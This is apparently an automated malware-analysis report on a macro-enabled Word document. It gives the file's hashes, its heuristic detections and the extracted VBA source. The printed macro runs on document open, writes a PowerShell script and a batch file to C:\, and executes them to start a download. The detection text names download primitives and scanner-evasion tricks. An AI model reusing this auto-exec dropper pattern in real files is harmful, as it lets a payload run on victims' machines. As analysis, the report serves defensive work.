Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ebe0e7991291f805…

MALICIOUS

Office (OOXML)

19.4 KB Created: 2020-10-05 06:44:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-10-16
MD5: 16edb58089fbb215b0156bbb116175ac SHA-1: 6526908005f20a61c0ae4dee654e290b4e6b34af SHA-256: ebe0e7991291f805e7c32b2d5da68baa8716bd4318576f0c79c4b9ade2085805
390 Risk Score

Heuristics 10

  • VBA project inside OOXML medium 8 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Dim shell
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set shell = CreateObject("WScript.Shell")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        MyFile1.WriteLine ("Powershell.exe -File  C:\testfile.ps1")
  • VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
    The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
    Matched line in script
    Private Sub Document_New()
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set fso = CreateObject("Scripting.FileSystemObject")
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
        MyFile.WriteLine ("Invoke-Expression ""cmd.exe /C start https://www.wireshark.org/download/win32/Wireshark-win32-2.6.20.msi""")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • https://www.wireshark.org/download/win32/Wireshark-win32-2.6.20.msiIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1699 bytes
SHA-256: 85173c7ad7a17f9d6a346cd1f16837bd3df6755602ade259719647a25042df25
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_New()

End Sub

Private Sub Document_Open()

'Create a new ps1 script which will when executed downloaded content from malicious hosted script
    Dim st As String
    st = """$((Get-Location).Path)\Finalfile.ps1"""
    Dim fso, MyFile
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set MyFile = fso.CreateTextFile("c:\testfile.ps1", True)
    'MyFile.WriteLine ("$web = 'https://www.wireshark.org/download/win32/Wireshark-win32-2.6.20.msi'")
    MyFile.WriteLine ("[Net.ServicePointManager]::SecurityProtocol = 'tls12, tls11, tls'")
    MyFile.WriteLine ("Invoke-Expression ""cmd.exe /C start https://www.wireshark.org/download/win32/Wireshark-win32-2.6.20.msi""")
    'MyFile.WriteLine ("$data = (New-Object System.Net.WebClient).DownloadString($web)")
    'MyFile.WriteLine ("Write-Output $data | Out-File -FilePath " + st)
    MyFile.Close
   
'Create and run a batch file to run the created powershell script
    Dim fso1, MyFile1
    Set fso1 = CreateObject("Scripting.FileSystemObject")
    Set MyFile1 = fso1.CreateTextFile("c:\run.bat", True)
    MyFile1.WriteLine ("@echo off")
    MyFile1.WriteLine ("Powershell.exe -File  C:\testfile.ps1")
    MyFile1.Close
   
    Dim shell
    Set shell = CreateObject("WScript.Shell")
    Set shell = CreateObject("WScript.Shell")
    shell.CurrentDirectory = "C:\"
    shell.Run "run"

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17920 bytes
SHA-256: 33982e8ba7beb73fc72472b39131c66c98b6e6c69711e366467d8dd857583190